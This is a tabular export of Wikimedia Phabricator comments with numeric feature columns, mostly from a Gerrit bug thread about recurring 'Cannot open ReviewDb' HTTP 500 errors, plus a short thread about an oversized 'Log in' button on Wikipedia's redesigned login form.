https://gerrit-new.wikimedia.org
",,,1468415965,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,150,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,"Actually it has been deployed at

URL
"
693622,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","@Paladox: Noone is aware of any fix [[ https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle | hence this is not resolved ]]... Declining for the time being.

Please reopen if still happening with 2.12 (to be deployed soon).",,,1468415998,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,2.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.5853658536585367,0.9024390243902439,"SCREEN_NAME: Noone is aware of any fix [[ URL | hence this is not resolved ]]... Declining for the time being.

Please reopen if still happening with 2.12 (to be deployed soon)."
693619,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","@Paladox: Noone is aware of any fix [[ https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle 
 hence this is not resolved ]]... Declining for the time being.

Please reopen if still happening with 2.12 (to be deployed soon).",,,1468415728,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,2.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,3.6097560975609757,0.9024390243902439,"SCREEN_NAME: Noone is aware of any fix [[ URL 
 hence this is not resolved ]]... Declining for the time being.

Please reopen if still happening with 2.12 (to be deployed soon)."
692924,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","The problem seems to not happen any more in over 1 and half years.

We are upgrading to gerrit 2.12 soon so maybe that will finally fix anything.",,,1468340007,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,149,True,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,26.0,10.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.838709677419355,0.9354838709677419,"The problem seems to not happen any more in over 1 and half years.

We are upgrading to gerrit 2.12 soon so maybe that will finally fix anything."
398500,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Happened again just now:

```
Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error
```",,,1421095015,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8181818181818183,0.7272727272727273,"Happened again just now:

``CODE``"
398499,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Happened again just now:

```
Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error
`",,,1421094995,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,False,,,71,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.8888888888888888,"Happened again just now:

``CODE"
226616,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","There's no one bug here so I'm not sure what this is supposed to accomplish.

""Don't break the database connection with bad config, networking hiccups or otherwise crash the ability of Gerrit to talk to its DB?""",,,1402364937,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,40,True,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,2.0,2.0,11.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.0,11.0,4.0,2.0,4.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8260869565217392,0.9130434782608695,"There's no one bug here so I'm not sure what this is supposed to accomplish.

""Don't break the database connection with bad config, networking hiccups or otherwise crash the ability of Gerrit to talk to its DB?"""
226611,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","And its back coming to eat more innocent souls:

Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error",,,1402363894,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,40,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,3.0,7.108108108108108,0.7837837837837838,"And its back coming to eat more innocent souls:

Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:70)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error"
226606,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",[Lowering priority; no recent incidents.],,,1394715575,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,28,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,4.111111111111111,1.0,[Lowering priority; no recent incidents.]
226602,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","The following error appeared today (a few minutes ago):


Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:71)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error",,,1373404126,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-8,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,3.0,7.157894736842105,0.8157894736842105,"The following error appeared today (a few minutes ago):


Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:71)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error"
226597,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Restart of Gerrit restored functionality for now.,,,1369248825,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.375,1.0,Restart of Gerrit restored functionality for now.
226591,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Created attachment 12371
Proxy error, usually accompanies the previously captured Guice error

The problem is back.

**Attached**: {F10882}",,,1369248789,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.8333333333333334,"Created attachment 12371
Proxy error, usually accompanies the previously captured Guice error

The problem is back.

**Attached**: {F10882}"
226585,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Seen again with exactly the same error message, on https://gerrit.wikimedia.org/r/#/c/63824/ .",,,1368628934,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-15,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,"Seen again with exactly the same error message, on URL ."
226580,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","(In reply to comment #3)
> Gerrit was restared, Seems to be working now.

Lowering priority.",,,1368621843,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.2142857142857144,1.0,"(In reply to comment #3)
QUOTE

Lowering priority."
226574,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Here's the full stacktraces from the failure: http://p.defau.lt/?B4I7N8sdqihW2Dj7tQOUNw,,,1368445870,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.9,Here's the full stacktraces from the failure: URL
226566,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Chad: Do the logs show a root cause?,,,1368441637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,2.9,1.0,Chad: Do the logs show a root cause?
226558,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","In case this becomes relevant at some point of investigating the root cause:
~2 hours before this happened MatmaRex told me that gerrit was really slow
to respond. Not having access to logs, I checked ganglia, and the graphs
showed the usual increase around that time of the day.

The now reported error message surfaces if gerrit could connect to the
database at startup but now cannot open new connections to the
database.

Do the logs show a root cause?",,,1367664845,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-17,True,1.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,5.0,14.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,2.0,0.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,24.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,6.0,2.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,14.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,4.042105263157895,0.7157894736842105,"In case this becomes relevant at some point of investigating the root cause:
~2 hours before this happened MatmaRex told me that gerrit was really slow
to respond. Not having access to logs, I checked ganglia, and the graphs
showed the usual increase around that time of the day.

The now reported error message surfaces if gerrit could connect to the
database at startup but now cannot open new connections to the
database.

Do the logs show a root cause?"
226549,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Reopening since restarting isn't a solution. Will take a look at the logs.,,,1367643622,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,6.0,12.0,6.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,3.875,0.875,Reopening since restarting isn't a solution. Will take a look at the logs.
226544,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Gerrit was restared, https://wikitech.wikimedia.org/w/index.php?title=Server_Admin_Log&diff=68980&oldid=68979. Seems to be working now.",,,1367630995,,PHID-USER-kwx3xuj7xgppxahjkw66,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.727272727272727,1.0,"Gerrit was restared, URL Seems to be working now."
226538,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",Seems to affect SSH too.,,,1367628879,,PHID-USER-kwx3xuj7xgppxahjkw66,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Seems to affect SSH too.
226533,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Looks like this has escalated. Most users don't even get an error, it just times out. Gerrit has become completely unresponsive.",,,1367627990,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.153846153846154,0.8846153846153846,"Looks like this has escalated. Most users don't even get an error, it just times out. Gerrit has become completely unresponsive."
49785,"""Log in"" button is oversized in redesigned user login form","Looking at <https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1>, the ""Log in"" button is really big. I think it could be described as oversized. I'm not sure why this is. In Vector, it's a lot of blue to deal with.

Looking at facebook.com, gmail.com, and twitter.com, it seems like stylizing these buttons is common. But all of them seem to use regular/normal size buttons.

Even at <https://en.wikipedia.org/wiki/Special:UserLogin?useNew=1>, the other button (the green ""Join Wikipedia"" button) is closer to normal size.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1367134920,1392856072.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_description,declined,True,c2,1,True,False,False,-18,True,1.0,0.0,0.0,0.5,0.5,9.5,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,2.5,8.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,5.5,0.5,1.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,9.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,3.0,10.0,0.5,1.5,4.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.5,8.0,2.0,0.0,2.5,0.0,3.5,0.0,0.5,0.5,1.0,1.5,1.0,0.0,3.0,3.573495032144945,0.7087960257159556,"Looking at <URL the ""Log in"" button is really big. I think it could be described as oversized. I'm not sure why this is. In Vector, it's a lot of blue to deal with.

Looking at facebook.com, gmail.com, and twitter.com, it seems like stylizing these buttons is common. But all of them seem to use regular/normal size buttons.

Even at <URL the other button (the green ""Join Wikipedia"" button) is closer to normal size.

--------------------------
**Version**: unspecified
**Severity**: normal"
209226,"""Log in"" button is oversized in redesigned user login form",It was redone a few times and looks good enough for me these days.,,,1392856072,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ok3yj4uclfqbrzrz7qf2,task_subcomment,,True,c2,3,True,,,25,True,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.533333333333333,1.0,It was redone a few times and looks good enough for me these days.
209223,"""Log in"" button is oversized in redesigned user login form","(In reply to comment #6)

> If there is direction in the design strategy on when, where and why to use this
> 'bulky' form of a button, then I have little trouble with it.

mw-ui-button makes a gradient button, mw-ui-big gives it a large font, mw-ui-primary makes it blue (in the vector skin).  That set is what the ""Agora"" design suggests for the main (Call to action) submit button of a form

